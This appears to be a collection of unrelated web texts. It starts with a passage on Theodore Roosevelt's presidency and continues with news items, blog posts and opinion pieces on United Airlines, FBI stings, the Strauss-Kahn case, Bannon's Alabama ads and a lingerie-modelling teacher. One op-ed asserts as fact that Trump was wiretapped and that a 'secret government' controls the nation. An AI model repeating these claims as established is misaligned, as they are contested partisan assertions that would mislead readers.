served as an economic and political link to the rest of Latin America. Prevailing racist attitudes made Puerto Rican statehood unlikely, so the U.S. carved out a new political status for the island. The Foraker Act and subsequent Supreme Court cases established Puerto Rico as the first unincorporated territory, meaning that the United States Constitution would not fully apply to Puerto Rico. Though the U.S. imposed tariffs on most Puerto Rican imports, it also invested in the island's infrastructure and education system. Nationalist sentiment remained strong on the island and Puerto Ricans continued to primarily speak Spanish rather than English.[120]  Military reforms [ edit ]  A political cartoonists' commentary on Roosevelt's "big stick" policy  Roosevelt placed an emphasis on expanding and reforming the United States military. The United States Army, with 39,000 men in 1890, was the smallest and least powerful army of any major power in the late 19th century. By contrast, France's army consisted of 542,000 soldiers.[122] The Spanish–American War had been fought mostly by temporary volunteers and state national guard units, and it demonstrated that more effective control over the department and bureaus was necessary.[123] Roosevelt gave strong support to the reforms proposed by Secretary of War Elihu Root, who wanted a uniformed chief of staff as general manager and a European-style general staff for planning. Overcoming opposition from General Nelson A. Miles, the Commanding General of the United States Army, Root succeeded in enlarging West Point and establishing the U.S. Army War College as well as the general staff. Root also changed the procedures for promotions, organized schools for the special branches of the service, devised the principle of rotating officers from staff to line,[124] and increased the Army's connections to the National Guard.  Upon taking office, Roosevelt made naval expansion a priority, and his tenure saw an increase in the number of ships, officers, and enlisted men in the Navy. With the publication of The Influence of Sea Power upon History, 1660–1783 in 1890, Captain Alfred Thayer Mahan had been immediately hailed as an outstanding naval theorist by the leaders of Europe. Roosevelt paid very close attention to Mahan's emphasis that only a nation with a powerful fleet could dominate the world's oceans, exert its diplomacy to the fullest, and defend its own borders.[126][127] By 1904, the United States had the fifth largest navy in the world, and by 1907, it had the third largest. Roosevelt sent what he dubbed the "Great White Fleet" around the globe in 1908–1909 to make sure all the naval powers understood the United States was now a major player. Though Roosevelt's fleet did not match the overall strength of the British fleet, it became the dominant naval force in the Western Hemisphere.[128][129][130]  Rapprochement with Great Britain [ edit ]  Varying claims in Southeast Alaska before arbitration in 1903.  The Great Rapprochement between Britain and the United States had begun with British support of the United States during the Spanish–American War, and it continued as Britain withdrew its fleet from the Caribbean in favor of focusing on the rising German naval threat. Roosevelt sought a continuation of close relations with Britain in order to ensure peaceful, shared hegemony over the Western hemisphere. With the British acceptance of the Monroe Doctrine and American acceptance of the British control of Canada, only two potential major issues remained between the U.S. and Britain: the Alaska boundary dispute and construction of a canal across Central America. Under McKinley, Secretary of State Hay had negotiated the Hay–Pauncefote Treaty, in which the British consented to U.S. construction of the canal. Roosevelt won Senate ratification of the treaty in December 1901.[132]  The boundary between Alaska and Canada had become an issue in the late 1890s due to the Klondike Gold Rush, as American and Canadian prospectors in Yukon and Alaska competed for gold claims. A treaty on the border between Alaska and Canada had been reached by Britain and Russia in the 1825 Treaty of Saint Petersburg, and the United States had assumed Russian claims on the region through the 1867 Alaska Purchase. The United States argued that the treaty had given Alaska sovereignty over disputed territories which included the gold rush boom towns of Dyea and Skagway. The Venezuela Crisis briefly threatened to disrupt peaceful negotiations over the border, but conciliatory actions by the British during the crisis helped defuse any possibility of broader hostilities. In January 1903, the U.S. and Britain reached the Hay–Herbert Treaty, which would empower a six-member tribunal, composed of American, British, and Canadian delegates, to set the border between Alaska and Canada. With the help of Senator Henry Cabot Lodge, Roosevelt won the Senate's consent to the Hay–Herbert Treaty in February 1903. The tribunal consisted of three American delegates, two Canadian delegates, and Lord Alverstone, the lone delegate from Britain itself. Alverstone joined with the three American delegates in accepting most American claims, and the tribunal announced its decision in October 1903. The outcome of the tribunal strengthened relations between the United States and Britain, though many Canadians were outraged by the tribunal's decision.  Venezuela Crisis and Roosevelt Corollary [ edit ]  In December 1902, an Anglo-German blockade of Venezuela began an incident known as the Venezuelan Crisis. The blockade originated due to money owed by Venezuela to European creditors. Both powers assured the U.S. that they were not interested in conquering Venezuela, and Roosevelt sympathized with the European creditors, but he became suspicious that Germany would demand territorial indemnification from Venezuela. Roosevelt and Hay feared that even an allegedly temporary occupation could lead to a permanent German military presence in the Western Hemisphere. As the blockade began, Roosevelt mobilized the U.S. fleet under the command of Admiral George Dewey.[137] Roosevelt threatened to destroy the German fleet unless the Germans agreed to arbitration regarding the Venezuelan debt, and Germany chose arbitration rather than war.[138] Through American arbitration, Venezuela reached a settlement with Germany and Britain in February 1903.  Though Roosevelt would not tolerate European territorial ambitions in Latin America, he also believed that Latin American countries should pay the debts they owed to European credits.[140] In late 1904, Roosevelt announced his Roosevelt Corollary to the Monroe Doctrine. It stated that the U.S. would intervene in the finances of unstable Caribbean and Central American countries if they defaulted on their debts to European creditors and, in effect, guarantee their debts, making it unnecessary for European powers to intervene to collect unpaid debts. Roosevelt's pronouncement was especially meant as a warning to Germany, and had the result of promoting peace in the region, as the Germans decided to not intervene directly in Venezuela and in other countries.[141]  A crisis in the Dominican Republic became the first test case for the Roosevelt Corollary. Deeply in debt, the nation struggled to repay its European creditors. Fearing another intervention by Germany and Britain, Roosevelt reached an agreement with Dominican President Carlos Felipe Morales to take temporary control of the Dominican economy, much as the U.S. had done on a permanent basis in Puerto Rico. The U.S. took control of the Dominican customs house, brought in economists such as Jacob Hollander to restructure the economy, and ensured a steady flow of revenue to the Dominican Republic's foreign creditors. The intervention stabilized the political and economic situation in the Dominican Republic, and the U.S. role on the island would serve as a model for Taft's dollar diplomacy in the years after Roosevelt left office.[142]  Panama Canal [ edit ]  Roosevelt regarded the Panama Canal as one of his greatest achievements  Roosevelt at the controls of a steam shovel excavating Culebra Cut for the Panama Canal, 1906  Roosevelt sought the creation of a canal through Central America which would link the Atlantic Ocean and the Pacific Ocean. Most members of Congress preferred that the canal cross through Nicaragua, which was eager to reach an agreement, but Roosevelt preferred the isthmus of Panama, under the loose control of Colombia. Colombia had been engulfed in a civil war since 1898, and a previous attempt to build a canal across Panama had failed under the leadership of Ferdinand de Lesseps. A presidential commission appointed by McKinley had recommended the construction of the canal across Nicaragua, but it noted that a canal across Panama could prove less expensive and might be completed more quickly.[143] Roosevelt and most of his advisers favored the Panama Canal, as they believed that war with a European power, possibly Germany, could soon break out over the Monroe Doctrine and the U.S. fleet would remain divided between the two oceans until the canal was completed.[144] After a long debate, Congress passed the Spooner Act of 1902, which granted Roosevelt $170 million to build the Panama Canal.[145] Following the passage of the Spooner Act, the Roosevelt administration began negotiations with the Colombian government regarding the construction of a canal through Panama.[144]  The U.S. and Colombia signed the Hay–Herrán Treaty in January 1903, granting the U.S. a lease across the isthmus of Panama.[144] The Colombian Senate refused to ratify the treaty, and attached amendments calling for more money from the U.S. and greater Colombian control over the canal zone.[146] Panamanian rebel leaders, long eager to break off from Colombia, appealed to the United States for military aid.[147] Roosevelt saw the leader of Columbia, José Manuel Marroquín, as a corrupt and irresponsible autocrat, and he believed that the Colombians had acted in bad faith by reaching and then rejecting the treaty. After an insurrection broke out in Panama, Roosevelt dispatched the USS Nashville to prevent the Colombian government from landing soldiers in Panama, and Colombia was unable to re-establish control over the province.[149] Shortly after Panama declared its independence in November 1903, the U.S. recognized Panama as an independent nation and began negotiations regarding construction of the canal. According to Roosevelt biographer Edmund Morris, most other Latin American nations welcomed the prospect of the new canal in hopes of increased economic activity, but anti-imperialists in the U.S. raged against Roosevelt's aid to the Panamanian separatists.[150]  Secretary of State Hay and French diplomat Philippe-Jean Bunau-Varilla, who represented the Panamanian government, quickly negotiated the Hay–Bunau-Varilla Treaty. Signed on November 18, 1903, it established the Panama Canal Zone—over which the United States would exercise sovereignty—and insured the construction of an Atlantic to Pacific ship canal across the Isthmus of Panama. Panama sold the Canal Zone (consisting of the Panama Canal and an area generally extending five miles (8.0 km) on each side of the centerline) to the United States for $10 million and a steadily increasing yearly sum.[151] In February 1904, Roosevelt won Senate ratification of the treaty in a 66-to-14 vote.[152] The Isthmian Canal Commission, supervised by Secretary of War Taft, was established to govern the zone and oversee the construction of the canal.[153] Roosevelt appointed George Whitefield Davis as the first governor of the Panama Canal Zone and John Findley Wallace as the Chief Engineer of the canal project. When Wallace resigned in 1905, Roosevelt appointed John Frank Stevens, who built a railroad in the canal zone and initiated the construction of a lock canal. Stevens was replaced in 1907 by George Washington Goethals, who saw construction through to its completion.[155] Roosevelt traveled to Panama in November 1906 to inspect progress on the canal, becoming the first sitting president to travel outside of the United States.[156]  East Asia [ edit ]  Russo-Japanese War [ edit ]  Russia had occupied the Chinese region of Manchuria in the aftermath of the 1900 Boxer Rebellion, and the United States, Japan, and Britain all sought the end of its military presence in the region. Russia agreed to withdrawal its forces in 1902, but it reneged on this promise and sought to expand its influence in Manchuria to the detriment of the other powers. Roosevelt was unwilling to consider using the military to intervene in the far-flung region, but Japan prepared for war against Russia in order to remove it from Manchuria. When the Russo-Japanese War broke out in February 1904, Roosevelt sympathized with the Japanese but sought to act as a mediator in the conflict. He hoped to uphold the Open Door policy in China and prevent either country from emerging as the dominant power in East Asia. Throughout 1904, both Japan and Russia expected to win the war, but the Japanese gained a decisive advantage after capturing the Russian naval base at Port Arthur in January 1905. In mid-1905, Roosevelt persuaded the parties to meet in a peace conference in Portsmouth, New Hampshire, starting on August 5. His persistent and effective mediation led to the signing of the Treaty of Portsmouth on September 5, ending the war. For his efforts, Roosevelt was awarded the 1906 Nobel Peace Prize.[161] The Treaty of Portsmouth resulted in the removal of Russian troops from Manchuria, and it gave Japan control of Korea and the southern half of Sakhalin Island.  Relations with Japan [ edit ]  Roosevelt saw Japan as the rising power in Asia, in terms of military strength and economic modernization. He viewed Korea as a backward nation and did not object to Japan's attempt to gain control over Korea. With the withdrawal of the American legation from Seoul and the refusal of the Secretary of State to receive a Korean protest mission, the Americans signaled they would not intervene militarily to stop Japan's planned takeover of Korea.[163] In mid-1905, Taft and Japanese Prime Minister Katsura Tarō jointly produced the Taft–Katsura agreement. During the discussion, Japan stated that it had no interest in the Philippines, while the U.S. stated that it considered Korea to be part of the Japanese sphere of influence.[164]  Vituperative anti-Japanese sentiment among Americans, especially on the West Coast, soured relations during the latter half of Roosevelt's term.[165] In 1906, the San Francisco Board of Education caused a diplomatic incident by ordering the segregation of all schoolchildren in the city.[166] The Roosevelt administration did not want to anger Japan by passing legislation to bar Japanese immigration to the U.S., as had previously been done for Chinese immigration. Instead the two countries, led by Secretary of State Elihu Root and Japanese Foreign Minister Hayashi Tadasu, reached the informal Gentlemen's Agreement of 1907. The agreement banned emigration of Japanese laborers to the U.S. and Hawaii, while also ending the segregation order of the San Francisco School Board, which had humiliated and angered the Japanese. The agreements remained in effect until the passage of the Immigration Act of 1924, in which Congress forbade all immigration from Japan.[167][168] Despite the agreement, tensions with Japan would continue to simmer due to the treatment of Japanese immigrants by local governments in the United States. Roosevelt never feared imminent war with the Japanese during his tenure, but the friction with Japan encouraged further naval build-up and an increased focus on the security of the American position in the Pacific.[169]  Algeciras Conference [ edit ]  In 1906, at the request of Kaiser Wilhelm II, Roosevelt convinced France to attend the Algeciras Conference as part of an effort to resolve the First Moroccan Crisis. After signing the Entente Cordiale with Britain, France had sought to assert its dominance over Morocco, and a crisis had begun after Germany protested this move. By asking Roosevelt to convene an international conference on Morocco, Kaiser Wilhelm II sought to test the new Anglo-British alliance, check French expansion, and potentially draw the United States into an alliance against France and Britain. Senator Augustus Octavius Bacon protested U.S. involvement in European affairs, but Secretary of State Root and administration allies like Senator Lodge helped defeat Bacon's resolution condemning U.S. participation in the Algeciras Conference. The conference was held in the city of Algeciras, Spain, and 13 nations attended. The key issue was control of the police forces in the Moroccan cities, and Germany, with a weak diplomatic delegation, found itself in a decided minority. Hoping to avoid an expansion of German power in North Africa, Roosevelt secretly supported France, and he cooperated closely with the French ambassador. An agreement among the powers, reached on April 7, 1906, slightly reduced French influence by reaffirming the independence of the Sultan of Morocco and the economic independence and freedom of operations of all European powers within the country. Germany gained nothing of importance but was mollified and stopped threatening war.[172]  Elections [ edit ]  Election of 1904 [ edit ]  1904 electoral college results  Before and during his presidency, Roosevelt built up a strong following within the Republican Party, but his re-nomination in 1904 was far from certain at the end of 1901. Many expected Senator Mark Hanna, a confidante of former President McKinley, to win the party's 1904 presidential nomination.[174] Support for Hanna was especially strong among conservative businessmen who opposed many of Roosevelt's policies,[175] though Hanna lacked his own national organization, and even in his home state he was opposed by influential Senator Joseph Foraker. Hanna and another prominent party leader, Matthew Quay of Pennsylvania, both died in 1904. Other potential rivals for the 1904 Republican presidential nomination, including Leslie Shaw and Charles W. Fairbanks, failed to galvanize support for their candidacies. At the 1904 Republican National Convention, Roosevelt secured his own nomination, but his preferred vice-presidential running mate, Robert R. Hitt, was not nominated. Senator Fairbanks, a favorite of conservatives, gained the vice-presidential nomination.  The Democratic Party's presidential nominee in 1904 was Alton B. Parker, the chief judge of the New York Court of Appeals. Democratic leaders hoped that Parker, whose political positions were largely unknown, would be able unify the populist followers of William Jennings Bryan with the conservative supporters of former President Grover Cleveland. Parker was unable to unite the party, and many Democrats supported Roosevelt.[179] Democrats alleged that the Republican campaign extorted large contributions from corporations, but these allegations had little impact on the election. As Parker moved his party in a conservative direction, Republicans performed well among progressives and centrists. Roosevelt won 56% of the popular vote while Parker received 38% of the popular; Roosevelt also won the electoral vote 336 to 140. Roosevelt's victory made him first president to be elected to a full term of his own after having succeeded to the presidency upon the death of a predecessor. His popular vote margin of 18.8% was the largest margin in U.S. history until the 1920 presidential election. On election night, as it became clear that he had won in a landslide, Roosevelt pledged not to run for a third term.  Election of 1908 and transition [ edit ]  Republican William Howard Taft defeated Democrat William Jennings Bryan in the 1908 election  Roosevelt had mixed feelings about a third term, as he enjoyed being president and was still relatively youthful, but felt that a limited number of terms provided a check against dictatorship. Roosevelt ultimately decided to stick to his 1904 pledge not to run for a third term, and he threw his support behind a successor so as to avoid a potential pro-Roosevelt delegate stampede at the 1908 Republican National Convention. Roosevelt personally favored Secretary of State Elihu Root, but Root's ill health made him an unsuitable candidate. New York Governor Charles Evans Hughes loomed as potentially strong candidate and shared Roosevelt's progressivism, but Roosevelt disliked him and considered him to be too independent. Instead, Roosevelt settled on his Secretary of War, William Howard Taft, who had ably served under Presidents Harrison, McKinley, and Roosevelt in various positions. Roosevelt and Taft had been friends since 1890, and Taft had consistently supported President Roosevelt's policies. Many conservatives wanted to re-take leadership of the party from the progressive Roosevelt. Senator Joseph Foraker, who like Taft was from Ohio, briefly emerged as the main conservative candidate for the GOP nomination.[186] However, Taft defeated Foraker's attempt to win control of the Ohio Republican Party, and entered the convention as the strong favorite over Foraker, Hughes, and Senator Philander Knox.[187]  At the 1908 Republican convention, many chanted for "four years more" of a Roosevelt presidency, but Taft won the nomination after Roosevelt's close friend, Henry Cabot Lodge, made it clear that Roosevelt was not interested in a third term. In a speech accepting the Republican nomination, Taft promised to continue the policies of Roosevelt, but as the campaign progressed he minimized his reliance on Roosevelt, and did not ask the president to publicly campaign for him.[189] The Democrats nominated William Jennings Bryan, who had been the party's presidential candidate in 1896 and 1900. Bryan, a populist Democrat widely regarded as a strong speaker, thought that Taft was a weak candidate and hoped that the public would tire of the Republican leadership the country had experienced since the 1896 election.[190] The platforms of the two parties differed little: both called for anti-trust actions, railroad and labor regulations, and a revision of the tariff.[191] As election day approached, it became clear that Taft would retain the loyalty of Republican voters and win a wide victory over Bryan, who had failed to find a winning issue on which to campaign. Taft won 321 of the 483 electoral votes and 51.6% of the popular vote. Republicans also retained control of both houses of Congress. Roosevelt regarded the victory of his chosen successor as a vindication of his policies and presidency.[192] As he left office, Roosevelt was widely regarded as the most powerful and influential president since Abraham Lincoln.[193] Taft's decision to retain few members of Roosevelt's Cabinet alienated Roosevelt, although Roosevelt continued support his successor throughout the transition period.[194]  Historical reputation [ edit ]  Roosevelt in Pennsylvania on 26 October 1914  Roosevelt was popular as he left office, and he remained a major world figure until his death in 1919. His own contemporaries viewed his presidency as influential; former Senator William E. Chandler wrote in January 1909 that Roosevelt "changed the course of American politics. We can never go back to where we were under Hanna." After his death, Roosevelt was overshadowed by other figures, but the interest of historians and the American public in Roosevelt was reinvigorated after World War II. Historian John Morton Blum's 1954 book, The Republican Roosevelt, advanced the thesis that Roosevelt had been the first truly modern president, and many historians have argued that Roosevelt's presidency served as a model to subsequent presidents.  Historian Lewis L. Gould summarizes the consensus view of historians, stating that Roosevelt was "a strong, effective executive whose policies foreshadowed the welfare state." Gould also writes, "if Roosevelt fell short of the first rank of president, he qualified for that ambivalent rating of 'near great,' conferred upon him in the polls that historians take with each other. A 2018 poll of the American Political Science Association ranked Roosevelt as the fourth greatest president in history, after George Washington, Abraham Lincoln, and Franklin D. Roosevelt.[198]  Roosevelt is a hero to modern liberals for his proposals in 1907–12 that presaged the modern welfare state of the New Deal Era, and put the environment on the national agenda. Conservatives admire his "big stick" diplomacy and commitment to military values. Dalton says, "Today he is heralded as the architect of the modern presidency, as a world leader who boldly reshaped the office to meet the needs of the new century and redefined America's place in the world." However, the New Left has criticized him for his interventionist and imperialist approach to nations he considered "uncivilized". Conservatives reject his vision of the welfare state and emphasis on the superiority of government over private action.[200][201]  Notes [ edit ]  ^ Roosevelt had served under Long as the Assistant Secretary of the Navy from 1897 to 1898. ^ The Conference of Governors was the first time in United States history that the governors of the various states assembled as a group.  References [ edit ]  Works cited [ edit ]
-The holidays are about giving, and my Santa went above and beyond the call of duty. My dogs are a big and furry part of my life and it breaks my heart that there are good dogs out there without homes, warm beds and nightly cuddles. I do as much as I can, but it never feels like enough. Santa sent a local animal charity $100 which will go SO far in helping the great people there save animals that would otherwise be homeless.  There are many of us who wish we could save them all. Thanks, Santa, for giving a few more animals a shot at their forever homes. Next time I'm there dropping off donations, I'll give one of the dogs a good belly scratch for you.
-When one fiasco settles down, another begins for United Airlines — or so it seems.  On Sunday evening, a video surfaced on social media showing a man being dragged from a United plane because his trip was overbooked. This comes just weeks after United stopped two female teenagers from boarding its plane because they were wearing "form-fitting" leggings. However, they were traveling as "representatives" of the company, a United spokesperson later argued.  "Denied boarding is usually handled with a whole lot more maturity," former United Airlines parent United Continental Holdings' (UAL) Chief Executive Gordon Bethune told CNBC in an interview Monday, referring to the forced removal of the male passenger.  "[United] tries to do a professional job, but not everybody on the plane is professional," thereby creating a "scene" on Sunday evening that carried over onto social media, Bethune added. "This immature reaction disturbs us all."  The former Continental CEO, who serves on the boards of Honeywell, Sprint and formerly on Prudential Financial, said he thinks United's current chief executive, Oscar Munoz, should issue an apology for Sunday's incident and for the passengers who had to endure it. "I'm sure there will be reconciliation ... some effort to show they care about passengers," Bethune said.  "I'm sure there will be a lot of discussion [at United] about how to handle this in the future."  Shortly after Bethune's interview on CNBC, United CEO Munoz issued a statement, saying: "This is an upsetting event to all of us here at United. I apologize for having to re-accommodate these customers. Our team is moving with a sense of urgency to work with the authorities and conduct our own detailed review of what happened."  But for many airlines, incidents like Sunday's come as no surprise, one social media and brand expert said.  "The thing about airlines is they have a low happiness level to begin with," Andy Swan, the founder of social media monitor LikeFolio, told CNBC in an interview on Monday. Swan said he's not sure United ever "bounces back" from public relations nightmares like this — because it's really "nothing new."  This is likely the reason why United Continental's stock hardly reacted negatively to Sunday's debacle, with shares actually up about 1 percent by Monday afternoon, Swan added.  As he monitored social media sites like Facebook and Twitter to see how the public was responding to the video of a passenger being dragged, Swan said: "You see very negative reactions, lots of negative tweets about the brand. But the thing to remember is on airlines' [stock] it almost never matters."  Unless it's a real safety issue that blows up — like when the roof tore off a Southwest Airlines (LUV) plane in 2011 — most companies don't see changes in consumer purchasing behavior based on these types of events, Swan told CNBC. And that's what Wall Street is concerned about — ticket sales and seats filled.  At the end of the day, bad brand image or not, many people are going to continue to buy their airline tickets based on metrics like the lowest price or the best arrival time, social media expert Swan said. It's not like Chipotle (CMG), for example, which has to fight to win back customers after its E. coli fiasco.  "Tomorrow we'll be talking about something else," Swan laughed.  CORRECTION: This story's headline has been updated to say a United passenger was being immature, according to former Continental CEO Bethune's interview on CNBC.  Also From CNBC  Watch The Profit on Yahoo View, available now on iOS and Android.  More From CNBC
-FBI Continues To Foil Its Own Devised Terrorist Plots  from the sarcastic-golf-clap dept  Adel Daoud, 18, was arrested following a months-long FBI undercover investigation. He was taken into custody after he parked a Jeep Cherokee in front of the bar Friday night and walked into a nearby alley where he tried to detonate the device, court documents allege.  The bomb, which was inert and had been constructed by FBI technicians, didn't explode, according to federal authorities.  It seems there's a new pattern showing itself every time I read a news report in which the FBI proudly announces it foiled a terrorist plot. That pattern goes something like this: hear that a huge explosion was averted and lives were saved, find out the plotter was an American citizen, find out he was under investigation by the FBI for several years, and then finally find out that it was the FBI that egged on the suspect and built his "bomb" for him. In other words, the only way these things could become less impressive is if the FBI actually decided to quit finding these loner folks to urge into violence and just built their own physical straw man to parade in front of the cameras.This whole game of pretend law enforcement showed up at my doorstep this weekend, when the FBI announced yet another arrest of a potential terrorist , this time an 18 year old suburbanite whom the FBI (you guessed it) encouraged to try to bomb a downtown bar in Chicago.Oddly, the article notes that Daoud allegedly gave the FBI more than two dozen high profile Chicago targets to 'splode, but decided eventually on this unnamed bar instead, perhaps because they had, like, totally taken his fake ID that one time. Actually, I just made that up because I can't think of a single reason why a supposed terrorist would settle on a drinkery as their target.Now, it is true that Daoud professed his wish to participate in jihad. It is true that he attempted to set off this pseudo bomb. He does indeed sound like a disturbed kid that needs to be dealt with in some fashion. But would he have participated in any of this without the urging of the FBI?Perhaps more importantly, is foiling their own plots the best use of law enforcement in Chicago, a city that appears to be engaged in a concerted effort to have the most murders ever in a calendar year?  Filed Under: chicago, entrapment, fbi, terrorism, terrorist plots
-So I wake up this morning and as I am pilfering through the morning news I read a story on the NYTimes about how the Strauss-Kahn case is “on the verge of collapse.” Now, when the allegations came out against Strauss-Kahn I was shocked at the media’s response to the case. There were minimal stories on the background of the accuser, on what she was doing that day, on who she hung out with or the things she liked to do. She was taken seriously as someone who was REPORTING A CRIME, her credibility was not undermined by journalists “uncovering” facts about her sexuality, her situation or things of that nature.  As the media ran out of things to write about, with Strauss-Kahn awaiting his trial and the accuser silent, the NYTimes began to look into her background, and profiled her as what Jezebel termed a “Noble Savage” – a “good victim”. Now, as we can all probably remember, the NYTimes happens to have a HORRENDOUS track record when it comes to reporting on victims of rape, so perhaps type-castingStrauss-Kahn’s accuser was their attempt to showcase their journalistic abilities, which resulted in a weird stereotypical portrait of a noble immigrant.  Well folks, it seems this morning things have just got a lot worse. The crux of the article is in this paragraph, “Although forensic tests found unambiguous evidence of a sexual encounter between Mr. Strauss-Kahn, a French politician, and the woman, prosecutors now do not believe much of what the accuser has told them about the circumstances or about herself.”  So. Even though Strauss-Kahn fled the scene, even though numerous other victims are coming out and taking a stand against him, and EVEN THOUGH THERE IS FORENSIC EVIDENCE TO PROVE AN ENCOUNTER HAPPENED, now the accuser is discredited because apparently the accuser did not tell officials that she was involved with an incarcerated man. And there is more; the prosecution just got a hold of the taped conversations. Conversations where she ASKS HIM IF SHE SHOULD PRESS CHARGES – where she weighed the pros and cons of pressing charges. Wow, apparently that is enough to mar her reputation as a noble victim. Also, apparently there are “inconsistencies” about how the accuser describes her own FGM experiences. These “revelations” in my mind are laughable, however I know that this morning many people will read this article and for the first time believe that Strauss-Kahn might actually be innocent.  The thing is, the story about her attack hasn’t changed. And even if it had that shouldn’t discredit her. The fact that the NYTimes is yet again publishing alarmist calls about a rape case isn’t particularly surprising. The fact that their story unquestioningly takes the tactics that are being used to discredit people who bravely report and accuse rapists is sad, it is unjust, and it is not surprising that even police officers who admit their rape on tape are not charged. Even if the accuser was running a drug-ring out of her basement, that should not affect her being taken seriously as a victim of sexual assault.  There should not be such a thing as good victims and bad victims. All victims, all women and men, should be taken seriously when they take the difficult step of reporting sexual assault. Until we stop type-casting women, until we stop assuming that WOMEN are the case of rape and not the RAPISTS WHO RAPE THEM, and until news sources like the New York Times are held accountable for the damage that they cause every time a story like this passes an editor’s desk, we will have to keep marching as sluts, hand in hand.  **Slutwalk is coming to NYC on August 20th, 2011**
-One thing I am certain about in Washington, D.C., these days. The Federal Bureau of Investigation (FBI), and its director James Comey, and the intelligence agencies, are no longer to be believed, as if they ever were.  The House Intelligence Committee, chaired by an establishment Republican, and as might regrettably be expected the self-serving and two faced establishment Republican Senator John McCain, along with Democrats bent on bringing down the Trump presidency, have demanded that the commander in chief cough up evidence by today that he and others on his staffs, both before and after the inauguration, were wiretapped by the Obama administration.  This ultimatum, coming from a congressional committee, senators and representatives which have known for a long time of the illegal and unconstitutional actions of the National Security Agency (NSA), the Central Intelligence Agency (CIA), and the Director of National Intelligence (DNI), but covered it up, is despicable.  The bottom line is that the truth concerning these wiretaps will never be forthcoming from either the FBI, Comey, or the heads of congressional intelligence committees or the intelligence committees themselves. It will take someone in the Trump administration taking charge and “delving in with a no holds barred vengeance” with a loyal staff, perhaps Attorney General Jeff Sessions. Sessions should not and cannot recuse himself from this endeavor. Heads will need to roll!  We at Freedom Watch will also play a role through our lawsuits against the NSA, CIA, and DIA to get to the truth and seek justice, but it's high time that an uncorrupted forceful government investigation take place. Our current government outside of the White House, infested with Obama and Clinton loyalists and establishment Republicans who want to see President Trump irreparably damaged so they can run their presidential candidate against him in 2020, cannot be trusted.  They have broken away from representing the American people and now are simply in practice a “secret government” that has effectively taken over the nation for their own nefarious ends. And these ends are potentially fatal to the republic.  Larry Klayman, founder of Judicial Watch and Freedom Watch, is known for his strong public interest advocacy in furtherance of ethics in government and individual freedoms and liberties. To read more of his reports, Go Here Now.
-poster="http://v.politico.com/images/1155968404/201709/3816/1155968404_5574215224001_5574193639001-vs.jpg?pubId=1155968404" true Group linked to Bannon runs tough ad against Sen. Strange before Alabama runoff  An outside group linked to Steve Bannon is venturing into the closely watched Alabama special election with a hard-hitting commercial that goes after Republican incumbent Sen. Luther Strange, as well as Majority Leader Mitch McConnell, Bannon’s nemesis.  The spot , from the pro-Trump organization Great America Alliance, describes Strange as a “big time lobbyist” who was “appointed by the swamp” and is “in the pocket of Mitch McConnell.”  Story Continued Below  “It’s time to drain the swamp,” the ad says. “Take your voice to Washington, and vote for someone to represent you. On Sept. 26, don’t let the swamp take over Alabama.”  The ad also features a clip of former Alabama Gov. Robert Bentley saying that he consulted with McConnell before appointing Strange to the Senate seat, which was vacated when Jeff Sessions became attorney general.  With just two weeks until the GOP runoff, Bannon has declared his support for Roy Moore, the former Alabama Supreme court chief justice, who is running as an insurgent. By backing Moore, Bannon is going up against McConnell, who is boosting Strange and has directed millions of dollars toward his campaign.  Morning Score newsletter Your guide to the permanent campaign — weekday mornings, in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.  President Donald Trump endorsed Strange last month. But he has been conspicuously silent about the race since the first round of voting on Aug. 15, when Moore finished ahead of Strange. The White House has been noncommittal on what, if anything, the president will do in support of Strange before the runoff.  The Alabama race is the first front in what Bannon has described as a broader battle against McConnell that is expected to play out in Republican primaries across the country. The bomb-throwing former Trump chief strategist has expressed an interest in supporting primary challengers to McConnell-backed incumbents in several states, including Arizona, Nevada, and Tennessee.  Bannon has taken early steps to turn Great America Alliance into an apparatus that could be used to take on incumbents. Last week, he installed his political adviser, Andrew Surabian, at the group.  Great America Alliance also plans to begin airing a pro-Moore digital advertisement that says the former judge “isn’t the D.C. swamp’s choice, but he is Alabama’s choice.”  A spokesperson for the group declined to say how much was being spent to run the commercials. Great America Alliance is also expected to air TV ads and is planning a pro-Moore bus tour in Alabama leading up to the runoff.  The winner of the late-September runoff will face off in a Dec. 12 general election against the Democratic candidate, former U.S. Attorney Doug Jones. Recent polls have shown Moore with a substantial lead in the runoff.
-The thing that always bothered me about “Day In The Life” sections is that they always seemed so planned and scripted. Like the camera guy comes in and “wakes the skater up”, they visit a couple cool spots, “accidentally” bump into all their homies, crack a beer and fade to black. So naturally (stupidly) for this segment, we did the total opposite and came in with absolutely no preparation or really any idea of what we should be shooting. I figured we’d spend a couple of hours and hang out – whatever Alex is doing that day, we would do it with him, whether that’s grabbing a coffee, listening to music or holding his groceries. Here’s just a small glimpse of time we spent over at his place in Brooklyn.
-Miss, why haven't you got any clothes on? Curvy school teacher, 26, swaps red pen for saucy knickers to moonlight as plus-size lingerie model by night  Teaches psychology and dance by day  Models underwear for full-figured women by night  Launching search for the next Curvy Kate model  By day, Laura Butler teaches A-level students psychology and dance. But by night, she embarks on her other career as full-figured lingerie model.  The 26-year-old blonde was plucked from obscurity in 2009 after winning underwear firm Curvy Kate's first ever 'Star in a Bra' competition and after finishing her day educating students, she strips off to her to to reveal her shapely curves.  And outgoing Laura, from Kingshurst, West Midlands, isn't embarrassed about her second career and says all her friends, family and pupils are behind her.  Scroll down for video  Model teacher: Laura Butler shows off her curves as the face of underwear firm Curvy Kate while carrying on her career teaching A-level students  Let's hear it for the curves: Laura is proud of her womanly figure and likes to show it off whenever she can  She said: 'It was around this time five years ago that I began modelling for Curvy Kate. This was a few years previous to me wanting to be a teacher.  'I had never wanted to teach so never thought modelling would get in the way. Fortunately, it hasn't - despite my students knowing.'  And now Laura is keen for other wannabe models to follow in her footsteps and is helping launch Birmingham's next Curvy Kate 'Star in a Bra' in a contest.  Like butter wouldn't melt: Teacher Laura shows off a more subdued side on a skiing holiday  She said: 'I think people should enter because everyone should do something extraordinary in their life and this ticks all the boxes. I should know as I have ticked them!  'I am not a shy girl, so confidence was never something I was lacking. But 'Star In A Bra' seemed to cement that confidence and it really shines through now in all I do.'  The annual competition to find full-figure models has proved a massive hit, with thousands applying each year.  Hannah Houston, marketing and PR manager for Curvy Kate - which offers D-K cup bras for more voluptuous women - said: 'We truly believe our customers should model our lingerie as these are the girls who will be buying it.  'Our model search is here to prove how gorgeous a shapely figure looks in lingerie.  'Every single one of the girls bring their own spark and personality to the brand and our customers can see exactly how our lingerie would look on a shape similar to theirs.'  Buxom babe: Teacher Laura perches on the end of a bathtub as she shows off her figure  But while it's worked out well for Laura, the same cannot be said for former Harrow School art teacher Joanne Salley, who learned a hard lesson when revealing 